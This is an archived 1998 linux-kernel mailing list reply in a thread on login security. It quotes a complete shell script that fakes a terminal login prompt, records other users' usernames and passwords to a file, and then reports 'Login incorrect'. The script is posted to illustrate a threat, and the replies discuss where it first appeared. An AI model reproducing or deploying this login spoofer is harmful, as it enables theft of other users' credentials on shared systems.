Re: Linux login security approaches

jens@pinguin.conetix.de
Sun, 13 Dec 1998 16:25:24 +0100


On Sat, Dec 12, 1998 at 06:13:05AM +0100, ralf@uni-koblenz.de wrote:

>> What about just starting (as evil_user, who has an account) the following,
>> hiding behind a corner, and wait for another user?
>>
>> #!/bin/sh
>> #
>> echo -n "`uname -n` login: "
>> read LOGIN
>> echo -n "Password: "
>> read PW
>> echo $LOGIN $PW >> ~/sneaked_passwords.txt
>> chmod 0600 ~/sneaked_passwords.txt
>> echo "Login incorrect"
>> sleep 1
>> logout
>>
>> (of course, this has to be a text terminal)
>
> A shell script like that was included with ``UNIX Programmers Workbench'',
> volume 2, as delivered with Edition 7 ...

I'll have a look into this book in our library if they have it, thanks. :)

-- 
_ciao, Jens_______________________________ http://www.pinguin.conetix.de
    cat /dev/boiler/water | tea | sieve > /cup
    mount -t hdev /dev/human/mouth01 /mouth ; cat /cup >/mouth/gulp

- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.rutgers.edu Please read the FAQ at http://www.tux.org/lkml/